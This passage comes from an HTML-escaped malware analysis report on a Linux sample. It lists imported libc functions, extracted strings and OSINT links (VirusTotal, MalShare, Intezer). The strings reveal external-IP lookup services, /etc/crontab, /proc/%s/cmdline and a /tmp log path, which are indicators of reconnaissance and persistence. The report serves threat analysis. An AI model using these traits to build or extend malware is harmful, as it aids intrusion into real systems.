      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;realloc@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fdopen@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;asprintf@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ITM_RU8&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;freeifaddrs@GLIBC_2.3 (9)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;poll@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;chmod@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;bind@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;readv@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;memmove@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;waitpid@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;atol@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;open@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;access@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fopen@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ITM_memcpyRnWt&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_join@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;jrand48@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;accept@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getsockname@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strtoul@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;flock@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__cxa_atexit@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strcat@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;gethostname@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;sprintf@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getppid@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;connect@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fwrite@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__fprintf_chk@GLIBC_2.3.4 (4)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getaddrinfo@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strdup@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strerror@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ZGTtdlPv&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;sleep@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_mutex_init@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fork@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strstr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_mutex_lock@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;rand@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__ctype_tolower_loc@GLIBC_2.3 (9)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;freeaddrinfo@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;OBJECT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;stderr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;socket@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;interesting-strings&quot;&gt;Interesting Strings&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/lib64/ld-linux-x86-64.so.2 (UNIX_PATH_REGEX)
/run/uui1 (UNIX_PATH_REGEX)
dd/reque (UNIX_PATH_REGEX)
Invalid address:%s  Can not resolv into IPv4/v6. (UNIX_PATH_REGEX)
Unknown address family :%d. Only IPv4/IPv6 supported so far. (UNIX_PATH_REGEX)
Can not decode info_type/info_class %d/%d yet (UNIX_PATH_REGEX)
smb:// (UNIX_PATH_REGEX)
URL does not start with 'smb://' (UNIX_PATH_REGEX)
Read/Write failed with (0x%08x) %s (UNIX_PATH_REGEX)
Can not enccode info_type/info_class %d/%d yet (UNIX_PATH_REGEX)
dev/null (UNIX_PATH_REGEX)
http://checkip.amazonaws.com (URL_REGEX, UNIX_PATH_REGEX)
http://ipecho.net/plain (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
http://ipinfo.io/ip (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
http://api.ipify.org (URL_REGEX, UNIX_PATH_REGEX)
http://icanhazip.com (URL_REGEX, UNIX_PATH_REGEX)
http://myexternalip.com/raw (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
http://wtfismyip.com/text (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
http://ip.anysrc.net/plain/clientip (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
https://checkip.amazonaws.com (URL_REGEX, UNIX_PATH_REGEX)
https://ipecho.net/plain (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
https://ipinfo.io/ip (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
https://api.ipify.org (URL_REGEX, UNIX_PATH_REGEX)
https://icanhazip.com (URL_REGEX, UNIX_PATH_REGEX)
https://myexternalip.com/raw (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
https://wtfismyip.com/text (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
https://ip.anysrc.net/plain/clientip (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
20:06:55 (IPV6_REGEX)
20:06:57 (IPV6_REGEX)
20:06:57 (IPV6_REGEX)
20:06:58 (IPV6_REGEX)
MM/dd/yy (UNIX_PATH_REGEX)
&amp;lt;assembly xmlns=&quot;urn:schemas-microsoft-com:asm.v1&quot; manifestVersion=&quot;1.0&quot;&amp;gt;&amp;lt;trustInfo xmlns=&quot;urn:schemas-microsoft-com:asm.v3&quot;&amp;gt;&amp;lt;security&amp;gt;&amp;lt;requestedPrivileges&amp;gt;&amp;lt;requestedExecutionLevel level=&quot;asInvoker&quot; uiAccess=&quot;false&quot;&amp;gt;&amp;lt;/requestedExecutionLevel&amp;gt;&amp;lt;/requestedPrivileges&amp;gt;&amp;lt;/security&amp;gt;&amp;lt;/trustInfo&amp;gt;&amp;lt;application xmlns=&quot;urn:schemas-microsoft-com:asm.v3&quot;&amp;gt;&amp;lt;windowsSettings&amp;gt;&amp;lt;dpiAware xmlns=&quot;http://schemas.microsoft.com/SMI/2005/WindowsSettings&quot;&amp;gt;true&amp;lt;/dpiAware&amp;gt;&amp;lt;/windowsSettings&amp;gt;&amp;lt;/application&amp;gt;&amp;lt;/assembly&amp;gt; (URL_REGEX, DOMAIN_REGEX)
&amp;gt;/&amp;gt;J&amp;gt;i&amp;gt;{&amp;gt; (UNIX_PATH_REGEX)
&amp;gt;*&amp;gt;/&amp;gt;T&amp;gt; (UNIX_PATH_REGEX)
/etc/crontab (UNIX_PATH_REGEX)
/proc/%s/cmdline (UNIX_PATH_REGEX)
/tmp/anchor.log (UNIX_PATH_REGEX)
Couldn't read a file:// file (UNIX_PATH_REGEX)
URL using bad/illegal format or missing URL (UNIX_PATH_REGEX)
Failed writing received data to disk/application (UNIX_PATH_REGEX)
Upload failed (at start/before it took off) (UNIX_PATH_REGEX)
Failed to open/read local data from file/application (UNIX_PATH_REGEX)
Socket not ready for send/recv (UNIX_PATH_REGEX)
Stream error in the HTTP/2 framing layer (UNIX_PATH_REGEX)
HTTP/1.%d %d (UNIX_PATH_REGEX)
CONNECT %s HTTP/%s (UNIX_PATH_REGEX)
multipart/mixed (UNIX_PATH_REGEX)
application/octet-stream (UNIX_PATH_REGEX)
text/plain (UNIX_PATH_REGEX)
multipart/form-data (UNIX_PATH_REGEX)
image/gif (UNIX_PATH_REGEX)
image/jpeg (UNIX_PATH_REGEX)
image/png (UNIX_PATH_REGEX)
image/svg+xml (UNIX_PATH_REGEX)
text/html (UNIX_PATH_REGEX)
application/pdf (UNIX_PATH_REGEX)
application/xml (UNIX_PATH_REGEX)
oversized cookie dropped, name/val %zu + %zu bytes (UNIX_PATH_REGEX)
# https://curl.haxx.se/docs/http-cookies.html (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
Content-Range: bytes 0-%ld/%ld (UNIX_PATH_REGEX)
Content-Range: bytes %s%ld/%ld (UNIX_PATH_REGEX)
%s HTTP/%s (UNIX_PATH_REGEX)
Content-Type: application/x-www-form-urlencoded (UNIX_PATH_REGEX)
Received HTTP/0.9 when not allowed (UNIX_PATH_REGEX)
Lying server, not serving HTTP/2 (UNIX_PATH_REGEX)
HTTP/1.0 proxy connection set to keep alive! (UNIX_PATH_REGEX)
HTTP/1.1 proxy connection set close! (UNIX_PATH_REGEX)
HTTP/1.0 connection set to keep alive! (UNIX_PATH_REGEX)
Forcing HTTP/1.1 for NTLM (UNIX_PATH_REGEX)
Content-Range: bytes %s/%ld (UNIX_PATH_REGEX)
ftp://%s:%s@%s (UNIX_PATH_REGEX)
 HTTP/%1d.%1d%c%3d (UNIX_PATH_REGEX)
 HTTP/2 %d (UNIX_PATH_REGEX)
 RTSP/%1d.%1d%c%3d (UNIX_PATH_REGEX)
%s://%s (UNIX_PATH_REGEX)
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds (UNIX_PATH_REGEX)
 INFO/REPLY (UNIX_PATH_REGEX)
Cannot rewind mime/post data (UNIX_PATH_REGEX)
select/poll returned error (UNIX_PATH_REGEX)
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.) (UNIX_PATH_REGEX)
select/poll error (UNIX_PATH_REGEX)
Content-Type: text/parameters (UNIX_PATH_REGEX)
Content-Type: application/sdp (UNIX_PATH_REGEX)
Accept: application/sdp (UNIX_PATH_REGEX)
%s %s RTSP/1.0 (UNIX_PATH_REGEX)
Content-Type: application/dns-message (UNIX_PATH_REGEX)
0123456789abcdefABCDEF::. (IPV6_REGEX)
127.0.0.1/ (IPV4_REGEX)
file://%s%s%s (UNIX_PATH_REGEX)
%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s (UNIX_PATH_REGEX)
%s/%s@%s (UNIX_PATH_REGEX)
failed to resume file:// transfer (UNIX_PATH_REGEX)
Bad PASV/EPSV response: %03d (UNIX_PATH_REGEX)
OS/400 (UNIX_PATH_REGEX)
Doing the SSL/TLS handshake on the data stream (UNIX_PATH_REGEX)
FTP response aborted due to select/poll error: %d (UNIX_PATH_REGEX)
/var/lib/libuuid/clock.txt (UNIX_PATH_REGEX)
/dev/random (UNIX_PATH_REGEX)
/dev/urandom (UNIX_PATH_REGEX)
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugsbasic_string::_M_create (URL_REGEX, DOMAIN_REGEX, UNIX_PATH_REGEX)
std::bad_alloc (IPV6_REGEX)
std::bad_cast (IPV6_REGEX)
std::bad_typeid (IPV6_REGEX)
std::bad_exception (IPV6_REGEX)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;osint&quot;&gt;OSINT&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/detection&quot;&gt;Virustotal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=7d2595904aa6feb46b3e8f3262963042&quot;&gt;MalShare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://analyze.intezer.com/files/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc&quot;&gt;Intezer&lt;/a&gt;&lt;/li&gt;
